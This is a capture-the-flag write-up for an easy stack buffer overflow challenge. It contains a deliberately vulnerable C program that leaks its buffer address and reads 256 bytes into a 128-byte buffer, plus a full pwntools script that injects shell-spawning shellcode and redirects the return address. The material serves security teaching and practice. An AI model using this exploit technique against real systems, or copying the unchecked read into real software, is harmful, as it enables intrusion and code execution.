DESCRIPTION

                NX is off — the stack is executable. Inject your shellcode, find the buffer address, and redirect execution straight into your payload. Raw shellcode injection at its finest.
            

DISASM // SOURCE

// main.c

#include <stdio.h>
#include <unistd.h>

int main() {
    char buf[128];
    printf("Hey, hacker! here is a small gift for u: %p\n", buf);
    printf("Spill your guts: ");
    fflush(stdout);
    read(0, buf, 256);
    printf("Thanks for the input! Exiting gracefully...\n");
    return 0;
}

WRITEUP // WALKTHROUGH

ret2shellcode — Writeup

Challenge Overview

Field	Value
Category	PWN
Difficulty	Easy
Author	R3t0x
Technique	Return to Shellcode

Reconnaissance

pwndbg> checksec ./main
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

NX is disabled — the stack is executable! The binary also prints the buffer address:

printf("Hey, hacker! here is a small gift for u: %p\n", buf);
read(0, buf, 256);  // 256 bytes into 128-byte buffer

Strategy

Parse the leaked buffer address
Place shellcode in the buffer
Overflow RIP to point back to the buffer address

buf_addr = int(io.recvline().split(b'0x')[1], 16)
shellcode = asm(shellcraft.sh())
payload = shellcode + b'A' * (136 - len(shellcode)) + p64(buf_addr)

Result

Hey, hacker! here is a small gift for u: 0x7fffffffdc70
$ cat flag.txt
Securinets_fst{C0ngr4ts_2_U_St4ck_4buS3r_D4ddy_W0uld_B_Pr0ud}

EXECUTION // EXPLOIT

$ python3 solve.py

#!/usr/bin/env python3
from pwn import *

# Set up the context
context.arch = 'amd64'
context.os = 'linux'

#p = process('./main')
p=remote("localhost",7007)
p.recvuntil(b'here is a small gift for u: ')
buffer_addr = int(p.recvline().strip(), 16)
log.info(f"Buffer address: {hex(buffer_addr)}")

shellcode = asm(shellcraft.sh())
log.info(f"Shellcode length: {len(shellcode)} bytes")

# Build the payload
offset = 136 
payload = b''
payload += shellcode  
payload += b'A' * (offset - len(shellcode))  
payload += p64(buffer_addr)  

# Send the payload
p.sendlineafter(b'Spill your guts: ', payload)

# Interact with the shell
log.success("Exploit sent! Dropping to shell...")
p.interactive()

./ret2shellcode_

ret2shellcode — Writeup

Challenge Overview

Reconnaissance

Strategy

Result